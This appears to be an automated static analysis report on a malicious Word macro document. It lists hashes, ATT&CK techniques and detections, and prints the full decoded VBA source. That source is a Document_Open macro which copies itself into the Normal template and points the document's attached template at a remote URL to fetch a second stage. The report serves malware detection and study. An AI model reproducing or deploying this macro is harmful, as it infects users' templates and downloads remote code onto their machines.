Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f788229cc2593c72…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-11-18 10:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e8ba27715e574f852b77c54aa55f6aa1 SHA-1: b611931c75a4940abc45a0bc35e27d8cabe73f43 SHA-256: f788229cc2593c72767966357d3e51f75b07d165b3db2a3f8342b60f59ed9a24
182 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The macro attempts to update the attached template to 'http://www.sourceofkaos.com/homes/1nternal/update.dot', indicating an intent to download and execute a second-stage payload. The ClamAV detection as Win.Trojan.W97M-2 further supports its malicious nature.

Heuristics 4

  • ClamAV: Win.Trojan.W97M-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W97M-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.sourceofkaos.com/homes/1nternal/update.dot In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 941 bytes
SHA-256: accac6f69104e2fe45264c82767a0ba2e2a674816839292d1b1185d8295b171d
Detection
ClamAV: Win.Trojan.W97M-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Active Template Update
Private Sub document_open()
    For Each TT In Templates
        If TT.VBProject.VBComponents(1).CodeModule.Lines(1, 1) = "'<!--1nternal-->" Then Exit For
    Next
    Set TT = TT.VBProject.VBComponents(1).CodeModule
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.InsertLines 1, TT.Lines(1, TT.CountOfLines)
    End If
    If ActiveDocument.AttachedTemplate <> "http://www.sourceofkaos.com/homes/1nternal/update.dot" Then
        ActiveDocument.AttachedTemplate = "http://www.sourceofkaos.com/homes/1nternal/update.dot"
    End If
End Sub